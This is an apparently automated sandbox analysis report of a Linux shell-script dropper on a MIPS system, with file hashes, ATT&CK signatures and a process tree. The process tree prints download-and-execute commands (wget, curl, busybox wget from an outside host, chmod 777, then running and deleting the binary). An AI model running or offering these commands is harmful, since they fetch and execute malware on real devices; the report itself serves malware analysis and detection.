Analysis

  • max time kernel
    150s
  • max time network
    18s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/10/2024, 01:44

General

  • Target

    53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh

  • Size

    10KB

  • MD5

    465a5e1c3b12b954a80ce46b66ed1dfc

  • SHA1

    2d79f93f29bc375e1e047f7f87bd0e015e297011

  • SHA256

    53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534

  • SHA512

    918aaea5078e2ee2f65ce4cf616f99eb0dd9338d62f18dc90cec672e3e55695f689f24995bcae642021415213bdfdbc597c2b63f078ce7562fd91ae4cc0faa09

  • SSDEEP

    96:YPjVlIrIHIB2PW6zPRg3LyUpBUL5lPVLs3sLsFWOBLj/R3LHLttULfqfifhnW6aX:oFrL9GNAN+zXUDxcCzXIZ

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
    /tmp/53c975f02338874d76ba52f3408b54c0a277ff44a0734c5e99c62d929d6c7534.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          2⤵
          • System Network Configuration Discovery
          PID:706
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          2⤵
          • System Network Configuration Discovery
          PID:730
        • /bin/chmod
          chmod 777 nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          ./nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/hDKuy9WxCvkZuHE009JstUfsFt5F8LJLzy
            2⤵
            • System Network Configuration Discovery
            PID:734
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/hDKuy9WxCvkZuHE009JstUfsFt5F8LJLzy
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:735

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/nWBsz22rKl7aCgUqX7xu0cR8U0Xmmnr45b

                Filesize

                153B

                MD5

                998368d7c95ea4293237f2320546e440

                SHA1

                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                SHA256

                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                SHA512

                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97